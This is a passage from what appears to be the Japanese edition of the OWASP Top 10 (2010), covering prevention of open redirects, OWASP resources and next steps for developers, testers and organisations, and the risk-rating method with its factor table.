たパラメータを見て、ターゲットＵＲＬ又はそのようなＵＲＬの一
部があるか確認します。もし存在する場合、ＵＲＬのターゲット
を変えてサイトが新しいターゲットにリダイレクトされないか監
察します。 

3. コードが入手出来ない場合、全てのパラメタをチェックして、リ
ダイレクト又はフォーワードのＵＲＬの疑いがあるかどうか確認
し、疑わしい場合は確認して下さい。. 

 
リファレンス 
OWASP 

• OWASP Article on Open Redirects  

• ESAPI SecurityWrapperResponse sendRedirect() method 

 

外部 

• CWE Entry 601 on Open Redirects  

• WASC Article on URL Redirector Abuse 

• Google blog article on the dangers of open redirects 

 

 
防止方法 
リダイレクトとフォーワードの安全な使用には下記の通り多くの方法
があります。 

1. 単純に、リダイレクトとフォーワードの使用を避ける。 

2. 使用する場合、デスティネーションの計算にユーザ任意のパラ
メータを加えない。通常これは可能です。 

3. デスティネーションのパラメータを使わざるを得ない場合、提供
する値が有効であり、ユーザに認証されるようにする。 

 デスティネーションのパラメータには、実際のURLやその一部
分でなく、マッピングの値を用い、サーバサイドでマッピングを
ターゲットＵＲＬに変換する。 

 ESAPIを使用して、sendRedirect()メソッドを書き換えて全てのリ
ダイレクト先が安全かどうかを確認する。 

ユーザの信頼を利用するフィッシング詐欺実行者の好むターゲット
となるので、この欠陥を避けるのは大変重要です。 

検証されていないリダイレクトと
フォーワード A10 

  セキュリティ上の 
弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Open_redirect
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://projects.webappsec.org/URL-Redirector-Abuse
http://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html


一般的なセキュリティ制御を確立し利用する 

 
 Webアプリケーションのセキュリティリスクに関する知識の深浅に関わらず、セキュアなWebアプリケーションの構築や存在する脆弱性の修
正が困難な場合があります。大規模なポートフォリオを管理しなければならない場合には、この作業はかなりやる気をそがれます。 
 

無料でオープンなOWASPのリソースを活用出来ます。 
 
 コスト効率を考慮しながら、組織や開発者のためにアプリケーションのセキュリティリスクを減らすことを目的として、OWASPは、組織でのア
プリケーションセキュリティに着手するための数々の無料でオープンなリソースを開発しています。下記は、セキュアなWebアプリケーションを
構築するためにOWASPが開発してきた多くのリソースの一部です。次のページでは、アプリケーションのセキュリティを確認する際に組織を
支援するOWASPの他のリソースについて記載しています。 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
他にも数多くのOWASPの資料が入手出来ます。OWASP Projects ページにアクセスして下さい。そこでは、プロジェクト状態をリリース品質（リ
リース品質、ベータ、アルファ）で整理した、OWASPの全プロジェクトのリストがあります。ほとんどのOWASPの資料はWikiで閲覧ができます。
またOWASPの多くの文書をハードコピーで注文も出来ます。 

開発者向けの次ステップ +D 

•セキュアなWebアプリケーション開発のために、個々のアプリケーションにおいてセキュアの持つ意味を定
義しなければなりません。OWASPは Application Security Verification Standard (ASVS)を開発アプリケーショ
ンのセキュリティ要件設定におけるガイドとして活用することを推奨しています。もし開発を外注委託する
のであれば、OWASP Secure Software Contract Annexを参照下さい。 

アプリケーション
セキュリティ 

要件 

•アプリケーションにセキュリティを後付けで組み込むよりもむしろ、開発初期段階からセキュリティを設計に
組み込む方が、コスト効率がずっと良くなります。OWASPは、開発初期段階からセキュリティ設計する手法
のガイダンスとして最初に確認するポイントとして、OWASP Developer's Guideの活用を推奨しています。 

アプリケーション
セキュリティ 

構造 

•強力かつ便利なセキュリティ制御の構築は、非常に困難です。セキュリティ制御の設定基準を開発者に提
供することにより、セキュアなアプリケーションの構築が劇的に単純化されます。OWASPは、セキュアな
Webアプリケーションを開発するのに必要なセキュリティAPIのモデルとして、OWASP Enterprise Security 
API (ESAPI) projectの活用を推奨しています。ESAPIは、Java、.NET、PHP、Classic ASP、Python、Cold Fusion
での実装のためのリファレンスを提供しています。 

標準的なセキュ
リティ制御 

•セキュアなアプリケーションを構築する際に、組織が従うべきプロセスを改善するために、OWASPは 
OWASP Software Assurance Maturiy Model (SAMM)の活用を推奨しています。このモデルでは、組織が直
面する特定のリスクに適応するソフトウェアセキュリティのための戦略について、構築と実施を手助けしま

す。 

セキュアな開発
ライフサイクル 

•OWASP Education Projectは、OWASP Educational Presentationsの大量のリストを編集した、Webアプリ
ケーションセキュリティに関する開発者向け教育素材です。脆弱性に関する実地訓練には、OWASP 
WebGoatを試して下さい。最新情報の入手には、OWASP AppSec Conference、OWASP Conference Training, 
OWASPの支部でのミーティングに参加して下さい。 

アプリケーション
セキュリティに
関する教育 



整理・組織化 
 自社開発や購入検討対象のウェブアプリケーションのセキュリティを確認するため、OWASPは、可能な場合にはアプリケーションのソース
コードレビューと動的テストを推奨しています。OWASPは、可能である場合は必ず、セキュリティコードレビューとアプリケーションへのペネト

レーションテストの組み合わせを推奨しています。両手法の組み合わせにより、両手法の長所がさらに強化されると同時に相互補完となるか
らです。確認のプロセスを補助するためのツールは、専門のアナリストの効率と効果を向上させることができます。OWASPの評価ツールは、

分析プロセス自体の自動化よりもむしろ、専門家の作業がより効果的になるための支援に重点を置いています。  
 
Webアプリケーションセキュリティの確認手法に関する標準化: ウェブアプリケーションのセキュリティを評価する際に、組織が一貫性と一定
のレベルの厳密さを持つために、OWASPはOWASP Application Security Verification Standard(ASVS)を開発しました。このドキュメントでは、
Webアプリケーションをセキュリティ評価する際の最小限の検査標準を定義しました。 OWASPはASVSを、Webアプリケーションセキュリティの
確認項目としてだけでなく、適切な検査手法の選定と検査の厳密さの定義・設定においてもガイダンスとして用いることを推奨します。OWASP
はまた、サードパーティの事業者によって実施するWebアプリケーションの検査サービスを定義・設定する際にも、ASVSの利用を推奨してい
ます。 
ブート 
評価ツールのスイート: OWASP Live CD Projectは最高のオープンソースのセキュリティツールを一つにまとめて、一回のブートで全てが利用
可能な環境にしました。Web開発者、テスター、およびセキュリティ専門家は、このLiveCDをブートして、すぐに完全なセキュリティテスト用ス
イートとしてアクセス出来る様になります。このCDで提供されたツールを使用する際には、インストールも構成設定も不要です。 

テスト担当者の次ステップ +V 

コードレビュー 
 

 ソースコードのレビューは、アプリケーションがセキュアであると確
認する最強の手法です。動的テストは、アプリケーションセキュリティ
がセキュアで無いことを証明するのみです。 
 
コードのレビュー: OWASP Developer’s Guideと OWASP Testing Guide
ともに、OWASPはOWASP Code Review Guideを開発しました。この
Guideは、開発者とアプリケーションセキュリティの専門家が、コード
レビューによるWebアプリケーションのセキュリティのレビューを効率

的・効果的に実施する手法を理解する手助けとなります。数多くの
Webアプリケーションのセキュリティ項目があり、例えば、外部から

の動的テストよりもコードレビューの方がずっと簡単に検出出来るイ
ンジェクションの欠陥について記載しています。. 
 
コードレビュー用ツール: OWASPは専門家によるコード分析を補助す

る分野で、将来性のある仕事をしてきましたが、これらのツールは未
だ初期段階にあります。これらのツールの作者は、自身のセキュリ
ティコードレビューを実行する際に自らのツールを毎日使用していま
すが、非専門家にとっては、これらツールの使用は若干難しいと考
えるかも知れません。これらツールにはCodeCrawler、Orizon、及び
O2があります。 

セキュリティとペネトレーションテスト 

 
アプリケーションのテスト: OWASPはTesting Guideを開発し、開発
者、テスター、アプリケーションセキュリティ専門家が、Webアプリ

ケーションのセキュリティテストを効率的・効果的に実施する手法
の理解を助けています。何十人もの貢献者によるこの大部なガイ
ドでは、広範囲にわたるWebアプリケーションセキュリティのテスト

に関する項目を提供しています。コードレビューに長所があるのと
同様にペネトレーションテストにも長所があります。悪用によるデモ
によってアプリケーションがセキュアではないことを証明することは、
非常に説得力があります。また多くのセキュリティの項目があり、
特にアプリケーションのインフラに関する全てのセキュリティ項目が
含まれています。これらセキュリティ項目は、アプリケーションそれ
自体ではセキュリティを提供していないために、コードレビューでは
原理的に確認することが出来ません。 
 
アプリケーションのペネトレーションテスト用ツール：WebScarabは
Webアプリケーションのテスト用プロキシで、全OWASPプロジェクト
の中でも最も広く使用されています。このツールにより、Webアプリ

ケーションのリクエストをインターセプトして、アプリケーションがど
のように動作しているかを理解出来ます。さらにテストのリクエスト
を送信して、アプリケーションがそのようなリクエストに対してセキュ
アなレスポンスを行うか否かを確認します。このツールは特にXSS、
認証の欠陥、アクセス制御の欠陥を確認する際に効果的です。 



アプリケーションセキュリティ計画を開始しましょう 
 アプリケーションセキュリティ実装の是非を選択する余地は、もはやありません。 増加する攻撃と規制の圧力の間で、組織はアプリケーショ

ンの安全性確保のために有効な能力を構築しなければなりません。既に開発した膨大な数のアプリケーションと長大なソースコードの行数が
あり、多くの組織は莫大な量の脆弱性を取り扱うべく奮闘しています。OWASPは、アプリケーションのポートフォリオ間のセキュリティを改良す

るためにアプリケーションセキュリティのプログラムを組織が確立することを推奨しています。アプリケーションセキュリティを達成するには、組
織の多くの異なった部署が共同して効率的に作業を行うことが必要となります。そこには、セキュリティと監査、ソフトウェア開発、事業と経営
計画が含まれます。全ての異なった担当者が組織のセキュリティに対する姿勢を概観し理解するために、可視化できるセキュリティが必要と
されます。行動と結果に焦点を合わせることが必要であり、そうすることで最もコスト効率の良い手法でリスクを減らすことができます。このこ
とで企業のセキュリティを改良する一助となります。効果的なアプリケーションセキュリティのプログラムにおける主要な行動には下記が含ま
れます。 

組織にとっての次ステップ +O 

•アプリケーションセキュリティのプログラムを構築し、適用する。 

•自らの組織と同様の組織の間のギャップ分析を実施して、重要な要改善分野と実行プランを定義す
る。  

•経営層の許可を取り付けアプリケーションセキュリティの啓発キャンペーンを情報システム部署全体
で実施する。 

開始 

•アプリケーションのポートフォリオを確認して、個々のリスクの観点から優先順位を設定する。 

•アプリケーションのリスクプロファイルモデルを構築して、ポートフォリオ内のアプリケーションを測定
し、優先順位付けを行って下さい。必要となる範囲と厳密さのレベルを適切に設定するために、品質
保証ガイドラインを構築する。 

•組織個別のリスク許容度を反映させた、問題発生可能性とその影響の因子を首尾一貫して集めた
リストによって一般的なリスクレートモデルを構築する。 

リスクを基に
したポート
フォリオアプ
ローチ 

•全ての開発チームが遵守すべきアプリケーションセキュリティの尺度を提供するために、ポリシーと
基準のセットを構築する。 

•再利用可能なセキュリティ制御の一般的なセットを定義して、これらポリシーと基準の補完を行い、
それらを使用する際の設計開発ガイドラインを提供する。 

•アプリケーションセキュリティのトレーニングカリキュラムを構築して、開発の役割と項目によって異
なったターゲットと要求を課す。 

強力な基礎
を作り上げる 

•セキュリティ実施と確認の作業を定義し、既存の開発と運営プロセスに統合する。作業には、脅威モ
デリング、 セキュアな設計とそのレビュー、セキュアなコーディングとそのレビュー、ペネトレーション
テスト, 修正作業を含む。 

•問題・課題を専門家に提供し、開発・プロジェクトチームが成功するようにサービスを提供する。 

セキュリティ
を既存のプロ
セスに統合
する 

• 定数的管理を実施する。改良と、収集した数値と分析データに基づく判断の構築を行う。数値には、
セキュリティ実施作業の厳守、検出された脆弱性、回避された脆弱性、アプリケーションの範囲等を
含む。 

• 企業全体での戦略的・システマチックな改善を目的として根本原因と脆弱性のパターンを探るため
に、実装・確認の作業から得たデータを分析する。 

可視化できる
管理を提供

する 



記載はリスクに関するもので、弱点に関するものではありません。 

 
 以前の２バージョンのOWASP Top10は、最も認知度の高い「脆弱性」を確認することにフォーカスしていました。しかし実際は、
OWASP Top10の文書はこれまで常にリスクについて整理・分類してきたのです。ただ、厳密な弱点の分類法を希求していた
人々の間には混乱が起きました。今回のアップデートでは、Top10がリスクに焦点を合わせている点を明確にするため、脅威

エージェント、攻撃ベクター、弱点、技術上の影響、事業上の影響により如何にして複合的にリスクが生み出されるかという点
をより明確に記述しました。 
 
 このために、OWASP Risk Rating Methodology を基にして、Top10でのリスク評価の方法論を開発しました。それぞれのTop10
の項目について、それぞれの弱点が発現する可能性とその弱点が引き起こす影響を鑑みて典型的なWebアプリケーションに
ついてそれぞれの弱点が存在した場合の典型的なリスクを見積もりました。Top10のランキング付けは、それぞれの弱点によっ
てアプリケーションに対して与える典型的なリスクの内で最も重大なものを基準として設定しました。 
 
OWASP Risk Rating Methodologyでは、認知された脆弱性のリスクを計算する際に用いる多くの因子を定義しています。しかし
Top10では、実際のアプリケーションにおける特定の脆弱性というよりむしろ、一般論を論じなければなりません。したがって
Top10は、システムの所有者が自身のアプリケーションの持つリスクを算定する際のように、正確な算定はできません。個別の
アプリケーションやデータの重要性や、実際の脅威エージェント、システムの構築手法や運営手法についても、Top10の筆者で
ある我々は把握していません。 
 
 Top10の方法論には、それぞれの弱点が発現する可能性に関する３因子（認知度、発見難易度、悪用難易度）と影響に関す

る１因子（技術的影響）があります。弱点の認知度は、個々のシステムによって計算する必要はありません。認知度のデータは、
多様な組織から入手した認知度に関する統計を集め、上位10の認知度によるリストを生成するためにそれら統計データを平均

化しました。このデータに、他の２つの可能性に関する因子（発見と悪用の難易度）を加えて、それぞれの弱点に可能性に関す
る順位付けを行いました。次に想定される標準的な技術的影響を乗じて、Top10のそれぞれの項目のリスク順位を行いました。 
 

 このアプローチでは、脅威エージェントの可能性について考慮がなされていません。また、個別のアプリケーションの持つ
様々な技術的詳細についても同様に考慮されていません。これら因子は、特定の脆弱性を発見して悪用する攻撃者の可能性
全般に重要な影響を与えます。また、事業における実際の影響についても考慮にいれていません。個々の組織が受容可能な
アプリケーションのセキュリティリスクは、ここの組織が決定すべきものでしょう。OWASP Top10の目的は、個々の組織の特殊因
子を考慮して行うリスク分析ではありません。 
 
例として、下図がA2:クロスサイトスクリプティングのリスク計算です。XSSは非常に認知度が高いために、認知度の項目で唯一
「非常に高い」と設定しています。その他のリスクは「高い」から「低い」までで１から３です。 

リスクについてのノート +R 
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Top 10 リスク因子のサマリ 

 
下表は2010 Top10アプリケーションのセキュリティリスクと各々のリスクに割り当てたリスク因子です。これらリスク因子は入手可能な統計と
OWASPチームの経験を基に決定しました。個々のアプリケーションや組織においてこれらリスクを理解するには、それぞれ個別の脅威エー

ジェントと事業上の影響を考慮に入れなければなりません。ソフトウェアの非常に深刻な弱点でも深刻なリスクと判定されない場合がありま
す。例えば、弱点に対して必要な攻撃を行う位置に脅威エージェントが無い場合や関連資産に対する事業上の影響が無視できる場合が当
てはまります。 

リスク因子に関する詳細 +F 

リスク 

A1-インジェクショ
ン 

容易 中程度 平均的 深刻 

A2-XSS 平均的 非常に高い 容易 中程度 

A3-不完全な認証
管理 

平均的 中程度 平均的 深刻 

A4-オブジェクト直
接参照 

容易 中程度 容易 中程度 

A5-CSRF 平均的 高い 容易 中程度 

A6-設定不備 容易 中程度 容易 中程度 

A7-暗号不備 困難 低い 困難 深刻 

A8-URLアクセス制
御不備 

容易 低い 平均的 中程度 

A9-トランスポート
層の設定不備 

困難 中程度 容易 中程度 

A10-リダイレクトと
フォーワード 

平均的 低い 容易 中程度 

    セキュリティ上 
          弱点 

    攻撃 
    ベクター 

 技術上の 
    影響 

考慮すべきその他のリスク 
 
Top10では多くの論点をカバーしていますが、その他にも考慮と評価が必要なリスクが存在します。以前のOWASP Top10ではその内の幾つ

かは説明していますが、その間に認識された新しい攻撃手法等で説明していないものも存在します。その他の考慮すべきセキュリティリスク
は下記の通りです。 
 
•クリックジャッキング（2008年に発見された新しい攻撃手法） 
•悪意あるファイルの実行（2007年のTop10ではA3） 
•情報漏洩と不適切なエラー処理（2007年のTop10ではA6の一部) 
•不十分なログ取得とアカウンタビリティ（2007 Top10のA6に関連あり） 
•DoS（Denial of Service、サービス不能）攻撃（2004年のTop10ではA9) 
•同時処理に関する欠陥 
•自動攻撃に対する不十分な対抗措置 
•不正侵入の検知と対応に関する不足 

脅威 
エージェーント 

事業上の 
影響 

認知度 発見難易度 悪用難易度 影響 



下記アイコンは、同タイトルの別バージョンの入手
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ALPHA：「アルファ版品質」は作成中のドラフトです。次のレ
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